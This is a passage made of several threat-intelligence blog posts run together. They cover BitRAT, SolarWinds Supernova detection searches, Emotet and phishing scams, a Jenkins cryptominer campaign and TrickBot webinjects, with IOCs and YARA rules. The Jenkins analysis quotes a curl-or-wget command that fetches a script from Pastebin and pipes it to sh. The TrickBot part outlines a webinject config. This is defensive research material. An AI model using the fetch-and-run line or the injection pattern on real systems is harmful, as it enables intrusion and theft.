continuously used by attackers. Because BitRAT is a RAT malware, its attacker can gain control of the infected system. BitRAT provides basic control features such as running process tasks, service tasks, file tasks, and remote commands, as well as extra options like info-stealing features, HVNC, remote desktop, coin mining, and proxies. ## Features of BitRAT 1. **Network Communication Method** - Encrypted communication using TLS 1.2 - Communication using Tor 2. **Basic Control** - Process manager - Service manager - File manager - Windows manager - Software manager 3. **Information Theft** - Keylogging - Clipboard logging - Webcam logging - Audio logging - Application account credential theft 4. **Remote Control** - Remote desktop - hVNC (Hidden Desktop) 5. **Proxy** - SOCKS5 Proxy: port forwarding feature using UPnP - Reverse Proxy: SOCKS4 Proxy 6. **Coin Mining** - XMRig CoinMiner 7. **Miscellaneous** - DDoS attack - UAC Bypass - Windows Defender deactivation BitRAT uses code from TinyNuke, similar to AveMaria. TinyNuke verifies and uses a signature string called `AVE_MARIA` in its Reverse SOCKS4 Proxy and Hidden Desktop feature. AveMaria adopted this feature from TinyNuke, while BitRAT used the Hidden Desktop feature with the same signature string. As shown in the examples above, the malware is actively distributed via file-sharing websites such as Korean webhards. Caution is advised when running executables downloaded from these sites, and users are recommended to download products from official developer websites. AhnLab’s anti-malware software, V3, detects and blocks the malware using the following aliases: **File Detection** - Trojan/Win.MalPacked.C5007707 (2022.03.12.04) - Dropper/Win.BitRAT.C5012624 (2022.03.16.02) - Downloader/Win.Generic.C5012582 (2022.03.16.01) - Downloader/Win.Generic.C5012594 (2022.03.16.01) - Backdoor/Win.BitRAT.C5012593 (2022.03.16.01) - Backdoor/Win.BitRAT.C5012748 (2022.03.16.02) **Behavior Detection** - Malware/MDP.AutoRun.M1288 **IOC** - Dropper MD5: `6befd2bd3005a0390153f643ba248e25` - Downloader malware MD5: - `60ee7740c4b7542701180928ef6f0d53` - `c4740d6a8fb6e17e8d2b21822c45863b` - BitRAT MD5: - `b8c39c252aeb7c264607a053f368f6eb` - `e03a79366acb221fd5206ab4987406f2` - `ea1b987a7fdfc2996d5f314a20fd4d99` - `54ef1804c22f6b24a930552cd51a4ae2` **Downloader malware’s C&C Server** - hxxp://cothdesigns[.]com:443/1480313 - hxxp://cothdesigns[.]com:443/4411259 - hxxp://jmuquwk.duckdns[.]org:443/1480313 - hxxp://nnmmdlc.duckdns[.]org:443/1480313 **Additional Payload Download URL – Downloader** - hxxp://kx3nz98.duckdns[.]org:443/v/V_1267705.exe - hxxp://108.61.207[.]100:443/v/V_5248849.exe **Additional Payload Download URL – BitRAT** - hxxp://kx3nz98.duckdns[.]org:443/v/A_1992262.exe - hxxp://108.61.207[.]100:443/result/A_1146246.exe **BitRAT C&C** - z59okz.duckdns[.]org:5223 - cothdesigns[.]com:80 Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.
# Detecting Supernova Malware: SolarWinds Continued **TL;DR:** Supernova exposes SolarWinds Orion to attack via an in-memory web shell. It needs to be patched and detections below can help identify adversary actions. As organizations were catching their breath and winding down for the holidays, a fascinating twist in the SolarWinds Orion “Sunburst” intrusions began to appear. ## Supernova Timeline On December 15, GuidePoint Security posted their analysis of a .NET webshell called “Supernova” that was originally disclosed in the initial FireEye investigation. Two days later, Palo Alto Networks followed up with their analysis of Supernova. On December 18, Microsoft released a comprehensive report on “Solorigate”, the compromised supply chain DLL that was part of the Sunburst intrusion first reported by FireEye. Under the “Additional Malware Discovered” section, Microsoft calls out the Supernova malware that was uncovered during their research, as well as the hypothesis that because the malware does not conform to the other aspects of the Sunburst attack, Supernova may have originated from another APT group! On December 24, SolarWinds released its first Security Advisory that included both Sunburst and Supernova. This advisory has been updated multiple times since then as new information has been made available. Supernova, SolarWinds clarified, appeared to be separate from the Sunburst attack and the malware leveraged a vulnerability found in the Orion platform. This new vulnerability and associated malware allows adversaries another method of access. DHS CISA has updated their initial guidance to include this new vector. Based on this newly released research, we are going to take a look at Supernova – what it is and how it is leveraged. We will also take a look at various detection methods, using data models and SPL that can identify an adversary leveraging this attack vector. ## What Is Supernova? Supernova was originally identified during the analysis of Sunburst, the SolarWinds Orion intrusions. During this initial analysis, Supernova Yara rules were created alongside other elements of Sunburst because it was initially assumed to be part of the same intrusion. Based on the new hypothesis that Supernova is distinct from Sunburst, FireEye removed the Yara rules from their GitHub repo but the original rules are still accessible. Supernova leverages what was a zero-day vulnerability to install a trojanized .NET DLL. It is important to note that this DLL is not digitally signed like the Sunburst DLL was, which is one of the reasons multiple researchers believe that this is a different threat actor using a vulnerability to load their malicious code to vulnerable systems. The malware that is loaded is a web shell. This MITRE ATT&CK technique, T1505, is used by adversaries to backdoor web servers and establish persistent access to systems. What makes this web shell extra nasty is that it is built to run in-memory which makes it more difficult for detection and forensic analysts to do additional analysis post-breach. Notice I said more difficult, but not impossible. ## What Can I Do? SolarWinds has continued to update their security advisory that lays out both the Sunburst and Supernova issues and which versions of their software are impacted. Patches are available for both issues. In fact, depending on the patch applied, both Sunburst and Supernova can be mitigated at the same time! ## How Can I Detect Supernova In My Environment? If you have read this far, you have a foundational understanding that Supernova and Sunburst are separate issues and you are likely looking to take some action. Here are some detections that may be useful to you in your environment. Readers of this blog may be using Splunk Enterprise or Splunk Enterprise Security. While anyone can use data models, I recognize that not everyone does. With that in mind, the detections below are provided in SPL, as well as using data models and the tstats command. Using the tstats command will provide a better overall search performance. If you are not using data models, the SPL search should still be helpful because the search criteria still applies. However, the field names may be different based on the sourcetypes in your environment compared to the examples below. These are somewhat broad searches as they stand but can be refined further based on IP address or other attributes. Good asset management will help isolate systems to search against. If you are not using tstats and data models for your searches and just want to use SPL, don’t forget to use `index=<insert index names>` to narrow down the search to only indexes that contain the applicable events. CERT/CC issued a new SolarWinds Orion API vulnerability alert on December 26th. Assuming you have a recent vulnerability scan with this latest alert added and you are ingesting vulnerability scanning data into Splunk and populating the vulnerability data model, this search could potentially uncover vulnerable systems. ``` | tstats count from datamodel=Vulnerabilities.Vulnerabilities where Vulnerabilities.cert=VU#843464 OR Vulnerabilities.cert=843464 OR Vulnerabilities.cve=CVE-2020-10148 groupby Vulnerabilities.dest Vulnerabilities.dvc Vulnerabilities.signature Vulnerabilities.vendor_product _time span=1s ``` The SPL search will be dependent on the event source, whether that is Nessus, Qualys or others, but it could be as simple as this, provided the vulnerability vendor utilizes CERT/CC or CVE. ``` index=<index where vulnerability data is stored> sourcetype=<vulnerability scanner> (VU#843464 OR 843464 OR CVE-2020-10148) ``` The footprint of this intrusion is limited due to the absence of the web shell existing on disk, but file hashes do exist for the trojanized .NET DLL. VirusTotal currently has 59 engines detecting it. Signature names are available to search against as well, but they will vary based on your anti-virus vendor. Depending on how you are identifying file system events, the following search may allow you to identify if the file hashes associated with the trojanized DLL have been written to disk. Note that this will be dependent on the events collected being written to the Endpoint data model. ``` | tstats count from datamodel=Endpoint.Filesystem where Filesystem.file_name=*logoimagehandler.ashx* OR Filesystem.file_hash=C15abaf51e78ca56c0376522d699c978217bf041a3bd3c71 OR Filesystem.file_hash=75af292f34789a1c782ea36c7127bf6106f595e8 OR Filesystem.file_hash=56ceb6d0011d87b6e4d7023d7ef85676 groupby Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.file_hash Filesystem.vendor_product Filesystem.user _time span=1s ``` For those running Sysmon, searching for EventCode 11 (FileCreate) can also be helpful to determine if and when the DLL was written to disk. ``` index=<index where endpoint data is stored> sourcetype=xmlwineventlog:microsoft-windows-sysmon/operational EventCode=11 file_name=*logoimagehandler.ashx* | table _time host Image Computer TargetFilename ``` At the very least, a search for these three hashes (SHA256, SHA1 and MD5) will provide a place to start to determine if the malware exists on your Solarwinds Orion systems. - SHA256: C15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71 - SHA1: 75af292f34789a1c782ea36c7127bf6106f595e8 - MD5: 56ceb6d0011d87b6e4d7023d7ef85676 If you are looking for DLLs being loaded in a specific process, Sysmon Event Code 7 (Image loaded) can also be used to look for the trojanized .NET DLL being invoked. ``` index=<index where endpoint data is stored> sourcetype=xmlwineventlog:microsoft-windows-sysmon/operational EventCode=7 (file_name=*logoimagehandler.ashx* OR SHA256=C15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71 OR SHA1=75af292f34789a1c782ea36c7127bf6106f595e8 OR MD5=56ceb6d0011d87b6e4d7023d7ef85676) | table _time Image ImageLoaded Computer ``` SentinelOne also released a blog where they developed a proof of concept that used the same technique that Supernova uses for in-memory compilation of .NET. They identified that CSC.exe and CVTRES.exe are created as child processes during execution. Please keep in mind this is a tactic to hunt, not to deploy as a signature with your SIEM. Because many .NET apps can do this, I want to caution that this is not an indicator of compromise but, it may be worth the time to run a search that looks something like this to determine if .NET assemblies are being compiled and then hunt for additional actions occurring immediately after this behavior on vulnerable systems. ``` | tstats count from datamodel=Endpoint.Processes where Processes.process_exec=cvtres.exe Processes.parent_process_exec=csc.exe groupby Processes.process_exec Processes.process_id Processes.process Processes.parent_process_exec Processes.parent_process Processes.parent_process_id Processes.dest Processes.user Processes.vendor_product _time span=1s index=<index where endpoint data is stored> sourcetype=xmlwineventlog:microsoft-windows-sysmon/operational EventCode=1 CommandLine=*cvtres.exe* ParentCommandLine=*csc.exe* | table _time CommandLine ParentCommandLine User host ProcessId ParentProcessId ``` Because the web shell exists in memory, the best opportunity to see this will be found in events like web or network traffic events. Guidepoint’s blog provides some pseudo query that can be adapted to be used with Stream for Splunk or Bro/Zeek or other data sets that contain information around HTTP and URI filenames and parameters. Even in the absence of endpoint data, if web or network traffic data exists, searches like these could be used as a starting point. ``` | tstats count from datamodel=Web.Web where web.url=*logoimagehandler.ashx*codes* OR Web.url=*logoimagehandler.ashx*clazz* OR Web.url=*logoimagehandler.ashx*method* OR Web.url=*logoimagehandler.ashx*args* groupby Web.src Web.dest Web.url Web.vendor_product Web.user Web.http_user_agent _time span=1s index=<index where network/web data is stored> sourcetype=stream:http (url=*logoimagehandler.ashx*codes* OR Web.url=*logoimagehandler.ashx*clazz* OR Web.url=*logoimagehandler.ashx*method* OR Web.url=*logoimagehandler.ashx*args*) | table _time src_ip src_port dest_ip dest_port url transport status ``` ``` | tstats count from datamodel=Web.Web where Web.http_content_type=text/plain Web.dest=(insert your SolarWinds IP here, we are looking for inbound traffic) Web.url=*logoimagehandler.ashx* groupby Web.src Web.dest Web.url Web.vendor_product Web.user Web.http_user_agent _time span=1s index=<index where network/web data is stored> sourcetype=stream:http dest_ip=(insert your SolarWinds IP here, we are looking for inbound traffic) url=*logoimagehandler.ashx* | table _time src_ip src_port dest_ip dest_port url transport status ``` I recognize that dealing with another vulnerability and its associated malicious code so soon after Sunburst is probably not the way anyone wanted to wrap up the year and start a new one but hopefully, this provides a way forward to jump-start your detections as your organization patches its vulnerable SolarWinds systems.
# Bad Actors Trying to Capitalize on Current Events via Shameless Email Scams March 23, 2022 Malicious email and phishing scams are usually topical and follow a pattern of current events. They are crafted around calendar and/or trending issues as attackers realize that victims are interested in all things relevant to the moment. Threat actors are aware that not all recipients will bite, but some will, hence the origination of the term “phishing.” They often put in the least amount of work possible for a maximum return, sending phishing emails to thousands of targets. Even if less than one percent of victims respond, the return on investment is still significant due to the gain of personally identifiable information (PII) and/or establishing a foothold within an organization using stolen credentials, malware, or other means. This blog highlights some examples we’ve encountered that may help users better spot suspicious emails. Recent examples observed by FortiGuard Labs include emails related to tax season and the Ukrainian conflict, which reflect the timeliness of current and newsworthy events at the time of writing. **Affected Platforms:** Windows **Impacted Users:** Windows users **Impact:** Compromised machines are under the control of the threat actor. Stolen personally identifiable information (PII), credential theft, monetary loss, etc. **Severity Level:** Medium ## Tax Season Scams Tax season comes around annually, like other seasonal events or holidays. Targeting calendar-based events enables threat actors to prepare ahead of time and have a new selection of targets on rotation. The following set of examples highlights two IRS/tax-themed scams. The first is a malicious email pretending to originate from the U.S. Internal Revenue Service (IRS) containing a maliciously crafted Microsoft Excel file to deliver malware (Emotet). The second is a phishing scam that asks a recipient to send personally identifiable information (PII) via written correspondence to a phone number. ### IRS-themed email delivering Emotet This attack starts with an IRS impersonation email that contains a ZIP attachment called “W-9 form.zip.” The email is sent to the target, and a password is provided within the body of the email for convenient extraction. The zipped attachment contains a file, “W-9 form.XLM.” The XLM extension is simply an Excel file that contains Excel 4.0 macros. For those not familiar with Form W-9 (Request for Taxpayer Identification Number and Certification), it is used by U.S. individuals to provide a correct taxpayer identification number (TIN) to payers (or brokers) who are required to file information returns with the IRS. Red flags that this is a phishing scam include the non-capitalization of “assistant” and the incorrect usage of “Treasure” instead of “Treasury” in the signature body. It should also be noted that the IRS does not communicate with U.S. taxpayers via email and instead uses the traditional postal service for all communications. ### Analysis Upon observation, and in a similar fashion to our recent Emotet blog, the XLM file asks the user to enable macros upon opening the file. The XLM file contains the following obfuscated Excel 4.0 macro. The document contains five hidden sheets: "Vfrbuk1", "Sheet", "Lefasbor1", "EFALGV", “Je1” and “Je2”. Sheet EFALGV contains the main code, which uses the other sheets to compile commands. It does this without user interaction, performing its behind-the-scenes magic to download a copy of Emotet from multiple remote locations. Another variation observed was sent to a State Attorney General’s office in the United States. The “From” address is clearly seen in the email. It was sent from an automotive tire shop located in Japan, which is most likely compromised and serves as an open mail relay. ### Microsoft takes action Microsoft announced in January 2022 that Excel 4.0 macros are disabled by default starting in Excel (Build 16.0.14427.10000). The move came as no surprise because the feature is continuously abused by threat actors. Other welcome news from Microsoft is the restricted usage of macros in Access, Excel, PowerPoint, Visio, and Word by default starting in April 2022 via the disablement of VBA macros (also abused by Emotet). Based on the examples shown above, we can see this did not deter the attacker one bit from abusing Excel 4.0 macros. Also, administrators are able to control the usage of Excel 4.0 macros via group policy settings, as well as cloud and ADMX policies. This feature was introduced in July 2021. It’s important to note that these potential victims were not targeted. Emotet utilizes what is colloquially known in the industry as a “spray and pray” tactic to spread via malicious email campaigns. Emotet is known to have delivered other malware variants in the past, with the most disruptive being ransomware. Some ransomware as a service (RaaS) groups have specific policies to not deploy ransomware to government sectors, defense industry, and other critical infrastructures (hospitals, etc.). However, actual attacks are often carried out by RaaS affiliates who may or may not abide by the policy set by RaaS groups. ### Request to fill and send a W-8 form via a fax number A different scam recently observed is an email with the subject line of: “NEW YEAR-NON-RESIDENT ALIEN TAX EXEMPTION UPDATE.” This example contains an attachment, titled “W8-ENFORM.PDF.” While not malicious, this PDF file is essentially a photocopy of the IRS W-8 form. It is simply the W8 form from the IRS with an appended number added by the bad actors at the end of the document. Red flags within the body of the email are the improper usage of grammar, typos, and punctuation. This scam uses social engineering verbiage to target nonresident aliens of the United States based on “official” records discovery. However, in a weird miscue, the email contains a contradictory statement: “if you are a USA citizen and resident, this W8BEN-FORM is not meant for you…” The email continues with instructions to reply back and to state on the attached form that the recipient is, indeed, a U.S. citizen/resident. After this step is completed, the bad actor provides a different form to complete. Once this form is filled out, all PII included on this form appears to be sent to an 806 phone number, which is the area code for the state of Texas. As of the time of writing this number has an active fax service, which most likely is internet-based and can receive the content and distribute as an attachment to the malicious actor anywhere in the world. It is possible, if there are a lot of respondents, they could be using OCR (Optical Image Recognition) image technology to store victim data in a database for later use. It is important to again note that the IRS does not handle any official correspondence via email. Official W-9 forms are available on the IRS Web page. Official W8 forms can be found here. ## Refugee War Scams Spam commonly uses techniques such as current events (sports, tax season), using money as an incentive to click, playing on our natural greed (tax refunds, free money) and use the threat of running out of time to get us to take immediate action. In the example below, all three techniques are employed, albeit in a more unusual way – with an impassioned plea to give money to others with the subject line “URGENT RESPONSE REQUIRED! (UKRAINE).” While the email does not contain a malicious attachment or link, the scammer is asking for a response. This is likely to contain a follow-up message for further information. Perhaps the threat actor may engage in dialogue with the victim and will ask the victim to send payment via wire transfer, third-party payment processors (such as Venmo, Zelle, etc.), or via cryptocurrency. The email address of the sender uses a gmail.com email address to likely evade spam filters. ### Bitcoin Variation The screenshot below highlights a brazenly opportunistic scam with the subject line “URGENT DONATION RESPONSE FOR WAR REFUGEE CAMP IN UKRAINE.” It purports to originate from a trusted organization, The United Nations. Red flags are the forged email address of the UN High Commissioner “info@seca[.]cam” in the “From” line, as well as some grammatical and punctuation errors. Another red flag is that the seca[.]cam domain was only registered a few weeks ago, on February 23, 2022. Checking the Bitcoin wallet address, we can see that this is an active wallet that had its first transaction on September 29th, 2021. Since the first discovery of the campaign on the 7th of March, several transactions have been made to this wallet. Its current value at the time of writing is $46.82 USD, with total transactions valued at $712.79 USD. Assuming that this wallet was used for malicious purposes, it appears that various campaigns have netted the threat actor a modest profit. However, it can also be safely surmised that this might not be the scammers' only wallet. As with the IRS, it is also important to mention that the U.N. will never send unsolicited emails for donations. ## Conclusion Emotet and the War in Ukraine With the current tragic situation in Ukraine unfolding, internal chatter within ransomware groups has surfaced. Some ransomware groups side with Russia and other groups side with the West. A well-known RaaS group (which used Emotet)—that we will not publicize for obvious reasons—has made a very strong statement that any attacks directed towards Russia will be met with a retaliatory act towards the West. As the situation is fluid, and with potentially compromised government sectors likely being infected or targeted with ransomware at this very moment either for monetary or political reasons, this threat is not out of the question. The point is that important sectors such as government agencies are no longer exempt from attacks, especially from Emotet threat actors, regardless of bias or opinion. Phishing scams aren’t going anywhere. They are a part of the threat landscape and will likely always be a component of an attackers’ arsenal. This is because the return on investment for an attacker is very high. A crafted email containing specific language designed to trick users into opening an attachment, following a link, responding with confidential or sensitive information, etc. will always work on a percentage of targets. This is because of the one major weakness security software cannot address: the human element. Training programs constantly remind and teach users how to spot malicious email/phishing/spearphishing scams for a good reason. Out of thousands of recipients, it only takes a few to respond to make it all worthwhile to an attacker. And when the right person falls prey, it can unleash a trove of information to the attacker that can be exploited for various purposes. Although such scams are well known and publicized, they are still pervasive for one simple fact—they work and will continue to work for the foreseeable future. ### Things to Consider: 1. Think twice when enabling macros (they are disabled by default for good reason) especially in tax form XLM files. 2. The IRS will never send correspondence via email (including attachments) without first obtaining your consent. IGNORE all unsolicited emails purporting to be from the IRS as they are not real. 3. The IRS has a dedicated webpage to report scams along with an FAQ page. 4. The UN will also never send unsolicited emails for donations. According to the UN website, “The United Nations strongly recommends that the recipients of solicitations, such as those described above exercise extreme caution in respect of such solicitations.” IGNORE all unsolicited emails purporting to be from the UN as they are not real. 5. Unsolicited emails asking for donations of any kind via email (especially via cryptocurrency) is a red flag regardless of cause. 6. Responding to any email (even if it doesn’t contain a link or malicious attachment) from an untrusted sender will validate your email address to threat actors, either adding you to spam lists or subjecting you to future attacks and scams. ### Remember: Threat actors are playing the numbers game. If they spam out 1,000 emails at a very minimal cost, and 10 people bite giving them valuable data, then the effort spent was well worth the return on investment. ## Fortinet Coverage Fortinet customers are protected from this campaign by FortiGuard Web Filtering, AntiVirus, FortiMail, FortiClient, FortiEDR, and CDR (content disarm and reconstruction) services, as follows: - The malicious macro inside the Excel sample (Emotet) can be disarmed by the FortiGuard CDR (content disarm and reconstruction) service. - FortiEDR detects both the Excel file and Emotet-related files as malicious based on behavior. - All relevant URIs to campaigns mentioned in the blog are blocked by the FortiGuard Web Filtering service. - The malicious Excel sample and associated downloaded files are detected as: “XML/Dloader.802!tr, “W32/Emotet.C!tr", “W32/Emotet.CV!tr”, and “W32/Emotet.1150!tr” are blocked by the FortiGuard AntiVirus service. - The IRS phishing email targeting nonresident aliens is detected as: IRS PDF/Fraud.10F1!phish. ### Ukraine Related Scams - **URGENT RESPONSE REQUIRED! (UKRAINE)** campaign is classified as a spam server and is blocked by our Web Filtering client. - **URGENT DONATION RESPONSE FOR WAR REFUGEE CAMP IN UKRAINE** campaign is classified as a spam sender and is blocked by the Web Filtering client. Fortinet has multiple solutions designed to help train users to understand and detect phishing threats: The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks. In addition to these protections, we suggest that organizations also have their end users go through our FREE NSE training: NSE 1 – Information Security Awareness. It includes a module on Internet threats that is designed to help end users learn how to identify and protect themselves from various types of phishing attacks. ### Indicators of Compromise **URLs (Emotet)** - hxxp://piajimenez.com/Fox-C/dS4nv3spYd0DZsnwLqov/ - hxxps://getlivetext.com/Pectinacea/AL5FVpjleCW/ - hxxp://inopra.com/wp-includes/3zGnQGNCvIKuvrO7T/ - hxxp://biomedicalpharmaegypt.com/sapbush/BKEaVq1zoyJssmUoe/ - hxxp://janshabd.com/Zgye2/ - hxxps://justforanime.com/stratose/PonwPXCl/ **Sample SHA-256 involved in the attack (Emotet)** - e5a1123894f01197d793d1fe6fa0ecc2bf6167a26ec56bab8c9db70a775ec6bc - 6fa0c6858688e1c0cbc9072c9d371f2183e0bf0c30a1187453cbbe080e0167ca - 06ac89a138858ed0f5eb5a30a43941b67697f8a3b47106170d879f3d51bc0e8d - 9f2686b83570b7940c577013d522b96ba19e148dac33b6983267470be6a6064b - 4c0ae17817c218c4b7973670f0458978efac4e6a67d1ec3abfb11ab587560d49 - 0758b3cde229886a039202120cda4485426c56eed3596be75fbce0d38986bf03 - 9a40dfc271fa3adf20e76cb6f7a27036c77adbe9882a8ef73bc977a0ea9c36ff - feec12c64c8bf47ae20dc197ac1c5f0c087c89e9a72a054ba82a20bf6266b447 - 50351e6d541f57fccb0261514acb43cb905e4f6dde7e8716ce1b82df7d3c4867 - 91795e5b49eabd94c9d8b70067f68f45f9bf56e36ec9d3529576e13569074113 - 8ac29489154a4c39e74070063ce71bfada00cd9883466c1e28cd1e66cab1b56c - 7d4897d33893f0835a982424af2f3eb77463dad1ef96fcb4021eaf15fd28c9e9 - 64d3d585c41577b0cfa2f9c63035a95ac785f9b5aeefeaba2490110c84aa7d00 - 809c990279928640c23ecc27d134f73967c7ec7269e90bb8d916f9e35b69654f - 7536ed21e14ee026424d9c07edbcecb59706129d31f6be4e8788edd904df6a20 - 8f05a6ee54b89de50e84fcd9db9191f3dd80c701a436ab4c81a1309b2d649368 - 3a1f0cfbea0de5acca77595a6a5384c31859c255defa12449861e6755b41aa20 - 6516d944f93186e7d422e7b93a476d4b04db0ed279ba93c4854d42387347d012 - 9ca7f4e809a8d381fa0bc8e02627d597add2de4c5d57632cae422c59a1e971e2 Many thanks to Fred Gutierrez and Geri Revay for their contributions to this blog. Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio.
# Vulnerable Apache Jenkins Exploited in the Wild An ongoing malicious campaign is looking for vulnerable Apache Jenkins installations to deploy a Monero cryptominer. The dropper uses sophisticated techniques to hide its presence on the system, to move laterally, and to look for new victims on the internet. It also downloads and runs the miner software. The exploited vulnerability, CVE-2018-1000861, was published in December 2018. It affects the Stapler Web framework used by Jenkins 2.153 and earlier. It may allow attackers to invoke methods on Java objects by accessing crafted URLs. Looking for publicly available exploits for this vulnerability, I could find a detailed proof of concept published early March this year. After analyzing the threat which attacked one of my honeypots, I created the diagram shown in the picture below. Follow the numbers in blue to understand each step. In the picture below, you can see the exploitation occurring. Notice that there is a base64 encoded content piped to bash for execution. Decoding this content, it was possible to see that this campaign is using Pastebin as the C2: ``` (curl -fsSL hxxps://pastebin[.]com/raw/wDBa7jCQ || wget -q -O- hxxps://pastebin[.]com/raw/wDBa7jCQ) | sh ``` The content of the paste ‘wDBa7jCQ’ is no longer available, but the content was another paste: ``` (curl -fsSL hxxps://pastebin[.]com/raw/D8E71JBJ || wget -q -O- hxxps://pastebin[.]com/raw/D8E71JBJ) | sed 's/\r//' | sh ``` The content of ‘D8E71JBJ’ paste is no longer available also, but it was the shell script down in following images. ## The Dropper The dropper named “Kerberods” (not “Kerberos” as the protocol) caught my attention due to the way it is packed and the way it acts if it has ‘root’ privileges on the machine. After analyzing the binary, I could see that the packer used was a custom version of ‘UPX’. UPX is an open source software and there are many ways UPX can be modified to make it hard to unpack the file using regular UPX version. There is a great presentation on this subject by @unixfreaxjp called ‘Unpacking the non-unpackable’ which shows different forms to fix ELF headers in order to unpack files. Fortunately, in this case, the UPX customizations involved just the modification of the magic constant UPX_MAGIC_LE32 from 'UPX' to some other three letters. Thus, reverting it to UPX in different parts of the binary, it was possible to unpack the binary with the regular version of UPX. ## The Glibc Hooks The other interesting part is the way ‘Kerberods’ acts to persist and hide itself if it has root privileges on the machine. If it is the case, it drops, compiles, and loads a library into the operating system that hooks different functions of Glibc to modify its behavior. In other words, it acts like a rootkit. In the image below, it is possible to see that the function ‘open’ will now check for some strings in the ‘pathname’ to act in a different way. The intention is to avoid anyone (including root) to be able to open the binary ‘khugepageds’, which is the cryptominer, the ‘ld.so.preload’, which is the file that loads the malicious library, and the library ‘libpamcd.so’ itself. Another hook, to show one more example, hides the network connection to the private mining pool and the scan for open Redis servers. ## Indicators of Compromise (IOCs) **Filesystem** - 74becf0d1621ba1f036025cddffc46d4236530d54d1f913a4d0ad488099913c8 - Bab27f611518dc55b00b1a9287bdb8e059c4f4cc1607444f40e0c45d5842994f - 43a00e0dd57d110d1c88b18234185267ca2a79f8ae1905bef4ba225144c992d2 **Network** - SYSTEMTEN[.]ORG:51640
# TrickBot and Zeus **Authored by:** Kryptos Logic Vantage Team on Thursday, July 1, 2021 **Tags:** TrickBot ## Overview TrickBot is an established and widespread multi-purpose trojan. Active since 2016 and modular in nature, it can accomplish a variety of goals ranging from credential theft to lateral movement. Many of the malware’s capabilities come as self-contained modules, which the malware is instructed to download from the C2. Initially, TrickBot’s main focus was bank fraud, but this later shifted toward corporate targeted ransomware attacks, eventually resulting in the discontinuation of their fraud operation. In June 2021, Kryptos Logic Threat Intelligence team began observing new developments to the TrickBot webinject module. TrickBot’s webinject module supports both static and dynamic configuration for injects. The static inject type causes the victim to be redirected to an attacker-controlled replica of the intended destination site, where credentials can then be harvested. The dynamic inject type transparently forwards the server response to the TrickBot C2, where the source is then modified to contain malicious components, before being returned to the victim as though it came from the legitimate site. In the current iteration of the webinject module, injects are achieved by proxying traffic through a local SOCKS server, if the traffic matches a list of target URLs the traffic is modified accordingly. Through our monitoring, we were able to obtain a debug version of the module, which contained new features being tested. In this evolution of their webinject capabilities, TrickBot has added support for Zeus-style webinject configs. During development, the module was served under a test name and supported parsing configs named `zeus`. We have since observed the updated module being pushed out to real victims under the name `injectDll`, superseding their old webinject module. Previously, webinject configs were stored in two files named `sinj` (static injects) and `dinj` (dynamic injects). Now, there exists a single config file named `winj` containing Zeus-style webinjects. ## InjectDLL We began observing new changes to their webinject module when we came across a debug build uploaded to VirusTotal. This module was different from the previous known webinjects, since it makes reference to a config by the name of `winj`. However, we were not able to pull down such a debug build from the C2 servers, since we were not aware of the base name that was given to the module. Base names are the names given to modules by TrickBot, and are used by the main bot to fetch these modules from TrickBot’s plugin servers. Currently, we are seeing the bot pull down the released versions of the webinject module as `injectDll32` and `injectDll64` for the 32-bit and 64-bit module respectively. An example for a module request made by the main bot is as follows: `https://<c2_address>/<gtag>/<unique_bot_id>/5/injectDll64/` In this blog, we will not go into detail on how the main bot communicates to its C2, since it has already been covered. ## winj Config In this module, we see the introduction of Zeus webinject configs, in addition to the regular webinject configs that TrickBot previously used. A good description on how the webinject config works can be found in its leaked manual. Due to Zeus having been the gold standard for banking malware, Zeus-style webinjects are extremely popular. It is not uncommon for other malware families to support Zeus-style webinject syntax for cross-compatibility (4Zloader, 5Citadel, to name a few). In the debug version, the module referred to this new config simply as `zeus`; however, in the release version, this has been renamed to `winj`. As with the previous webinjects, the module is able to parse the usual webinject configs `dinj` and `sinj`. Additionally, they continue to use the `dpost` configs in order to send the results of the webjects to the handler C2s. **Example `winj`:** ``` set_url <target-website-url> GP data_before data_end data_after </head> data_end data_inject <script></script> data_end ``` ## MitM As previously reported, the module shares substantial code with IcedID/Bokbot’s Man-in-the-Browser webinject module. To MitM TLS connections, it creates a self-signed TLS certificate and adds it to the certificate store. The module contains a packed payload that is injected into the victim’s browser, where it hooks socket APIs to redirect traffic to a locally listening SOCKS proxy. It also hooks `CertVerifyCertificateChainPolicy` and `CertGetCertificateChain` to ensure no certificate errors are shown to the victim. ## Conclusion The resumption of development of the webinject module indicates that TrickBot intends to revive its bank fraud operation, which appears to have been shelved for over a year. The addition of Zeus-style webinjects may suggest expansion of their Malware-as-a-Service platform, enabling users to bring their own webinjects. ## IOCs | Module | Base | SHA256 | Name | Description | |--------|------|--------|------|-------------| | n/a | dd268740958fe3829c927054b900f6287235662cd93c1e91d51c38c44eb2571b | n/a | 32-bit Webinject Debug Module | | n/a | 3bd5117466a9bcd539a482343957f8c9a74ad2fa0d5da959fcfa0d42beb9133d | n/a | 64-bit Webinject Debug Module | | injectDll32 | c79f016996b45cd7cc88aa3ce6c4d1ab247a1d803de4b742f64f3bf1e183ffb0 | injectDll32 | 32-bit Webinject Module | | injectDll64 | 19f4f1ca50b3306c9d953e12e573b1e65670b110b358d0240e55331c7ed0d76f | injectDll64 | 64-bit Webinject Module | ## YARA ```yara rule TrickBot__Webinject { meta: id = "7eKHCSumVp7QRXF0z7BC1i" fingerprint = "8a66f290d84a54e8ee148c461513627e83b8f092acebe8251c6098a88d8c4eba" version = "1.0" first_imported = "2021-07-01" last_modified = "2021-07-01" status = "RELEASED" sharing = "TLP:WHITE" source = "KRYPTOS LOGIC" author = "KRYPTOS LOGIC" description = "Detects TrickBot updated Webinject module" category = "MALWARE" malware = "BOT" hash = "c79f016996b45cd7cc88aa3ce6c4d1ab247a1d803de4b742f64f3bf1e183ffb0" strings: $a = "c:\\developer\\webinject\\http-lib\\parser.c" wide $zeus1 = "data_before" $zeus2 = "data_after" $zeus3 = "data_inject" $zeus4 = "data_end" $name = /wbi-x(86|64).dll/ condition: all of them } ```
